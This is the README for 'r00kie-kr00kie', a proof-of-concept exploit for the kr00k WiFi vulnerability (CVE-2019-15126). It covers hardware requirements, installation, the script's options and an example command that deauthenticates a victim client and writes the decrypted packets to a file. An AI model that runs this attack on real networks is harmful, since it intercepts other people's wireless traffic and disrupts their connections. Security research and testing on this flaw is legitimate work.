r00kie-kr00kie: PoC exploit for the CVE-2019-15126 kr00k vulnerability


This project is intended for educational purposes only and cannot be used for law violations or personal gain. The author of this project is not responsible for any possible harm caused by the materials.

Requirements

To use these scripts, you will need a WiFi card supporting the active monitor mode with frame injection. We recommend the Atheros AR9280 chip (IEEE 802.11n) we used to develop and test the code. We have tested this PoC on Kali Linux

Installation

# clone main repo
git clone https://github.com/hexway/r00kie-kr00kie.git && cd ./r00kie-kr00kie
# install dependencies
sudo pip3 install -r requirements.txt

How to use

Script: r00kie-kr00kie.py

This is the main exploit file that implements the kr00k attack

->~:python3 r00kie-kr00kie.py -h

usage: r00kie-kr00kie.py [-h] [-i INTERFACE] [-l CHANNEL] [-b BSSID]
                         [-c CLIENT] [-n DEAUTH_NUMBER] [-d DEAUTH_DELAY]
                         [-p PCAP_PATH_READ] [-r PCAP_PATH_RESULT] [-q]

PoC of CVE-2019-15126 kr00k vulnerability

optional arguments:
  -h, --help            show this help message and exit
  -i INTERFACE, --interface INTERFACE
                        Set wireless interface name for listen packets
  -l CHANNEL, --channel CHANNEL
                        Set channel for wireless interface (default: 1)
  -b BSSID, --bssid BSSID
                        Set WiFi AP BSSID (example: "01:23:45:67:89:0a")
  -c CLIENT, --client CLIENT
                        Set WiFi client MAC address (example:
                        "01:23:45:67:89:0b")
  -n DEAUTH_NUMBER, --deauth_number DEAUTH_NUMBER
                        Set number of deauth packets for one iteration
                        (default: 5)
  -d DEAUTH_DELAY, --deauth_delay DEAUTH_DELAY
                        Set delay between sending deauth packets (default: 5)
  -p PCAP_PATH_READ, --pcap_path_read PCAP_PATH_READ
                        Set path to PCAP file for read encrypted packets
  -r PCAP_PATH_RESULT, --pcap_path_result PCAP_PATH_RESULT
                        Set path to PCAP file for write decrypted packets
  -q, --quiet           Minimal output

In order to start an attack, you need to know bssid of access points, its channel and mac address of the victim. You can find them using the airodump-ng wlan0 utility.

Run the exploit:

->~:python3 r00kie-kr00kie.py -i wlan0 -b D4:38:9C:82:23:7A -c 88:C9:D0:FB:88:D1 -l 11
